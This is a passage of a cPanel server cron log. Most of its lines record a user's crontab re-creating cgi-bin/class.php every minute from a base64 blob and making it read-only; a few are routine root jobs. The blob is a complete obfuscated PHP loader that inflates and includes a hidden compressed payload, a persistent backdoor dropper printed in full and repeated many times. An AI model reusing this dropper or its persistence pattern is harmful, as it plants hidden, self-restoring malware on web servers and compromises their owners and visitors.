fXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:17:01 server CROND[26467]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:18:01 server CROND[26607]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:19:01 server CROND[26693]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:20:01 server CROND[26770]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 12:20:01 server CROND[26772]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 12:20:01 server CROND[26769]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 12:20:01 server CROND[26771]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 12:20:01 server CROND[26779]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:21:01 server CROND[26885]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:22:01 server CROND[26952]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:23:01 server CROND[27106]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:24:01 server CROND[27160]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:25:01 server CROND[27217]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr  6 12:25:01 server CROND[27219]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:25:01 server CROND[27221]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 12:25:01 server CROND[27220]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 12:26:01 server CROND[27325]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:27:01 server CROND[27378]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:27:01 server CROND[27379]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 12:28:01 server CROND[27552]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:29:01 server CROND[27626]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 12:30:01 server CROND[27702]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 12:30:01 server CROND[27703]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
